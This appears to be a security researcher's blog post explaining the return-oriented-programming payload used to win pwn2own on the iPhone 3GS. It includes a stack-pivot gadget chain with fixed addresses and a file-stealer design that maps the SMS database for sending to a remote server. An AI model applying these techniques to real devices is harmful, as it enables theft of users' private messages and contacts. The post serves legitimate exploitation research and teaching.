As you might know I and Ralf-Philipp Weinmann from University of Luxembourg won pwn2own owning the iPhone.
Smartphones are different beasts compared to desktops when it comes to exploitation. Specifically the iPhone has a fairly important exploitation remediation measure, code signing, which makes both exploitation and debugging quite annoying and definitely raises the bar when it comes to writing payloads.
What smartphones usually miss, and that is the case for iPhone as well, is ASLR. Add up the two and we have the perfect OS on which to use ROP payloads.
We are not authorized to talk about the exploit itself as it is being sold to ZDI, nonetheless we want to give a brief explanation on the payload because to the best of our knowledge it is the first practical example of a weaponized payload on ARMv7 and iPhone 3GS.
In order to decide what kind of payloads we want to write, another security countermeasure has to be taken into account, namely Sandboxing.
On iPhone most applications are sandboxed with different levels of restrictions. The sandboxing is done in a kernel extension using the MAC framework. A few well-known syscalls are usually denied(execve() to name one) and normally access to important files is restricted. One last important thing to notice is that the iPhone doesn’t have a shell, so that is not an option for our payload.
Luckily we are able to read files like the SMS database, the address book database and a few others containing sensitive information (this depends on the specific sandbox profile of the application).
A few notions are needed to be able to write ARM payloads, a lot of good information on the topic can be found here. I will nonetheless outline the basics needed below.
The first thing one has to understand before writing a ROP payload is the calling convention used in iPhoneOS.
For iPhone the first four arguments are passed using r0-r3 registers. If other arguments are needed those are pushed onto the stack. Functions usually return to the address pointed by the LR register so when we write our payload we need to make sure that we control LR.
Another important difference between ARM ROP payloads and x86 ROP payloads are instruction sizes.
In ARM there are only two possible sizes for instructions: 4 bytes or 2 bytes. The second type is called THUMB mode. To access THUMB instructions one has to set the program counter to addresses that are not 4-bytes aligned, this will cause the processor to switch to THUMB mode. More formally the processor will switch to THUMB mode when the T bit in the CPSR is 1 and the J bit is 0.
Starting from ARMv7 a “hybrid” mode was introduced, THUMB2. This mode supports both 32bits and 16bits instructions (the switch between 32 bits and 16 bits is done following the same criteria explained before for THUMB).
One last thing has to be noticed is that usually functions are called through b/bl/blx instructions, when writing our payload we are almost always forced not to use bl and blx. In fact those two instructions will save the next instructions into the lr register, thus we lose control over the program flow.
I won’t describe in details the concepts behind ROP as there is plenty of literature available. Tim is writing about ROP on ARM in our blog as well.
I will instead try to outline what important steps are needed when it comes to writing an ARM ROP payload on the iPhone.
In our exploit we know that some data we control lies in r0. The first thing we want to achieve is to control the stack pointer. So we have to find a sequence that allows us to switch the stack pointer with a memory region we control. We do this in two stages:
[sourcecode]
6a07 ldr r7, [r0, #32]
f8d0d028 ldr.w sp, [r0, #40]
6a40 ldr r0, [r0, #36]
4700 bx r0
// r0 is a pointer to the crafted data structure used in the exploit. We point r7 to our crafted stack, and r0 to the address of the next rop gadget.
// The stack pointer points to something we don’t control as the node is 40 bytes long. So we just to another code snippet which will put us in control of SP.
f1a70d00 sub.w sp, r7, #0 ;0x0
bd80 pop {r7, pc}
[/sourcecode]
Now that we control the stack pointer we can take a closer look at our payload.
A file stealer payload should in principle do the following:
- Open a file
- Open a socket
- Connect to the socket
- Get the file size (using for instance fstat())
- Read the content of the file (in our case by mmaping it into memory)
- Write the content of the file to the remote server
- Close the connection
- Exit the process/continue execution
This is quite a long list for a ROP shellcode therefore we are not going to discuss each and every step, but just highlight some that are very important.
The first thing our payload needs to do is to control the content of lr register, a gadget that allows us to do so is:
[sourcecode]
e8bd4080 pop {r7, lr}
b001 add sp, #4
4770 bx lr
[/sourcecode]
Next we will see an example of how a function can be called using ROP on ARM. We take as an example mmap() because it has more than 4 arguments therefore it is a bit trickier:
[sourcecode]
ropvalues[i++] = 0x00000000; //r4 which will be the address for mmap
ropvalues[i++] = 0x00000000; //r5 whatever
ropvalues[i++] = 0x000000000; //r8 is gonna be the file len for mmap
ropvalues[i++] = 0x000000002; //r9 MAP_PRIVATE copied in r3
ropvalues[i++] = 0x32988d5f; // PC
//32988d5e bd0f pop {r0, r1, r2, r3, pc}
ropvalues[i++] = locFD – 36; // r0 contains the memory location where the FD is stored
ropvalues[i++] = locStat +60; // r1 struct stat file size member
ropvalues[i++] = 0x00000001; // r2 PROT_READ
ropvalues[i++] = 0x00000000; // r3 is later used to store the FD in the following gadget
ropvalues[i++] = 0x32979837;
//32979836 6a43 ldr r3, [r0, #36]
//32979838 6a00 ldr r0, [r0, #32]
//3297983a 4418 add r0, r3
//3297983c bd80 pop {r7, pc}
ropvalues[i++] = sp + 73*4 + 0x10;
ropvalues[i++] = 0x32988673;
//32988672 bd01 pop {r0, pc}
ropvalues[i++] = sp -28; //r0 has to be a valid piece of memory we don’t care about(we just care for r1 here)
ropvalues[i++] = 0x329253eb;
//329253ea 6809 ldr r1, [r1, #0]
//329253ec 61c1 str r1, [r0, #28]
//329253ee 2000 movs r0, #0 //this will reset to 0 r0 (corresponding to the first argument of mmap())
//329253f0 bd80 pop {r7, pc}
ropvalues[i++] = sp + 75*4 + 0xc; //we do this because later SP will depend on it
ropvalues[i++] = 0x328C5CBd;
//328C5CBC STR R3, [SP,#0x24+var_24]
//328C5CBE MOV R3, R9 //r9 was filled before with MAP_PRIVATE flag for mmmap()
//328C5CC0 STR R4, [SP,#0x24+var_20]
//328C5CC2 STR R5, [SP,#0x24+var_1C]
//328C5CC4 BLX ___mmap
//328C5CC8 loc_328C5CC8 ; CODE XREF: _mmap+50
//328C5CC8 SUB.W SP, R7, #0x10
//328C5CCC LDR.W R8, [SP+0x24+var_24],#4
//328C5CD0 POP {R4-R7,PC}
ropvalues[i++] = 0xbbccddee;//we don’t care for r4-r7 registers
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x32987baf;
//32987bae bd02 pop {r1, pc}
[/sourcecode]
This payload snippet roughly traslates to:
[sourcecode language=”cpp”]
mmap(0x0, statstruct.st_size, PROT_READ, MAP_PRIVATE, smsdbFD, 0x0);
[/sourcecode]
What we had to do here is to store the arguments both inside the registers (the easy part) and to push two of them onto the stack.
Pushing arguments on the stack creates an extra problem when writing a ROP payload because we have to make sure our payload is aligned with the stack pointer, this is why we to craft r7 in a specific way in line 26.
Finally we pop the program counter and jump to some other instructions in memory.
Having seen this payload one may wonder how to find the proper gadgets in the address space of a process.
As said before iPhone doesn’t have ASLR enforced which means that every library mapped in the address space is a possible source of gadgets.
There are some automated tools to find those gadgets and compile them to form a ROP shellcode on x86. Unfortunately that is not the case for ARM. Our co-worker Tim maintains and develops a great tool written for his thesis that can ease the process of finding gadget on ARM and he is currently working on extending the tool to compile (or better combine) gadgets to form valid shellcode.
As far as we know no techniques to disable code signing “on the fly” have been found on the latest firmware of iPhone.
It is therefore important for anyone trying to exploiting an iPhone vulnerability to learn ROP programming.
One last thing has to be said: the iPhone security model is pretty robust as it is now.
If it would ever support ASLR attacking it will be significantly harder than any desktop OS. In fact, most applications are sandboxed which greatly limits their abilities of doing harm and code signing is always in place. ASLR will limit the ability of creating ROP payloads and there are neither Flash nor a JIT compiler to play with on the iPhone;)
Finally if you are interested in iPhone hacking you should attend the class that I am going to give together with Dino Dai Zovi at Black Hat USA. It will be on Mac OS X hacking but most of the teaching material can be used on iPhone as well!
Cheers,
Vincenzo